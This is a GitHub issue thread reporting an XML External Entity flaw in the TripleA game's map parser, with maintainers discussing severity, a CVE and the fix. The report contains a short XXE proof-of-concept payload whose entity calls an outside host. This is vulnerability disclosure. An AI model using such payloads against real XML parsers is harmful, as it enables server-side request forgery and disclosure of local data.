Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

XXE in Game Parser #3442

Closed
prodigysml opened this issue May 29, 2018 · 12 comments
Closed

XXE in Game Parser #3442

prodigysml opened this issue May 29, 2018 · 12 comments
Labels
Problem A problem, bug, defect - something to fix

Comments

@prodigysml
Copy link

The Issue

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

Where the Issue Occured


The above code parses a game file.

A sample game file can be found at:
https://github.com/triplea-game/triplea/blob/master/game-core/src/test/resources/GameExample.xml

To exploit this issue, import the following XML code:

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://0dd.zone">
]>
<r>&sp;</r>
@RoiEXLab RoiEXLab added category: security Urgent Something in production is not working and is very noticable - urgent mitigation needed labels May 29, 2018
@RoiEXLab
Copy link
Member

@DanVanAtta @ssoloff @ron-murhammer This issue should be fairly easy to fix.
This is not a severe issue because we don't just arbitrarily load xmls into the game and download them via HTTPS.
The only potential security risk comes from players themselves that get tricked into installing malicious maps.

@prodigysml
Copy link
Author

prodigysml commented May 29, 2018 via email

@RoiEXLab
Copy link
Member

Fix instructions

@RoiEXLab
Copy link
Member

@prodigysml Thanks for reporting this issue btw.

@RoiEXLab
Copy link
Member

Unfortunately we don't have a P2 label ^^

@DanVanAtta
Copy link
Member

Number of comments from me:

  • big thank you for reporting this @prodigysml

  • Everything is a P2 unless otherwise marked; P3 == ice box, never going to work on them.

  • My wish-list for map parsing would be to version the parsing engines and move forward with a YAML based format. The existing spec is overly complicated, and we have maps that do not scale well with the syntax, the examples are the XMLs files that are thousands if not tens of thousands of lines to fix.

  • With all that said, seems like we should as good practice disable external entities from being loaded. This kind of vulnerability is the reason we insist on maps being hosted in triplea-maps organization where we can control the updates to them and not link to maps hosted in peoples own github repo's or other locations. There is a desire to allow the game to download from arbitrary locations to help support map makers, such a security fix would be more important when that comes online.

@DanVanAtta
Copy link
Member

Downgrading priority label given this statement:

This is not a severe issue because we don't just arbitrarily load xmls into the game and download them via HTTPS.

@DanVanAtta DanVanAtta removed the Urgent Something in production is not working and is very noticable - urgent mitigation needed label Jul 8, 2018
@DanVanAtta DanVanAtta added Problem A problem, bug, defect - something to fix and removed category: security labels Jan 4, 2019
@tvleavitt
Copy link

https://security-tracker.debian.org/tracker/CVE-2018-1000546

Having a CVE specific to your application is bad. Having one unaddressed for over six months is very bad optics. Even if it does require the user to be tricked into installing a malicious map (really, that's not terribly difficult).

@RoiEXLab
Copy link
Member

RoiEXLab commented Jan 5, 2019

Turns out this really is a non-issue.
The default JVM implementation already processes XMLs securely: I modified a map file to be just the provided example. Of course the parser complains because the XML is not as expected, but without changing anything, no connection to http://0dd.zone was opened.
After digging into the code, I realized that the secure flag was already set to true (even though the javadocs told me otherwise)
Initial setting

Only by manually setting this flag to false I could verify in Wireshark, that a connection was made. By removing the explicit setting, as expected no connection was opened.

Anyways. I opened #4516 to have this feature set without having to rely on the implementation.

@RoiEXLab
Copy link
Member

RoiEXLab commented Jan 5, 2019

Ok. Apparently setting the flag explicitly does change the behaviour slightly.
When the flag is explicitly set, the xml parser doesn't load external DTDs anymore, which is currently required for our maps (although we really should restrict this to the directory where this file is kept, relative paths should still be able to escape even though we probably don't want this).

Not sure what to do about this currently. I guess having protection from HTTP request is sufficient for now?

@ssoloff
Copy link
Member

ssoloff commented Jan 5, 2019

The default JVM implementation already processes XMLs securely

Sounds like this may be platform- or JVM-specific because I'm assuming the OP ran a test to verify the external entity was opened. @prodigysml, do you happen to remember on which platform(s) and JVM implementation(s) you observed this exploit?

@tvleavitt
Copy link

My only comment would be that some process should be in place to notify the Debian package manager that the CVE has been corrected, and see if we can get the package updated, or the change back ported to the released package in their repo (not sure how that works).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Problem A problem, bug, defect - something to fix
Projects
None yet
Development

No branches or pull requests

5 participants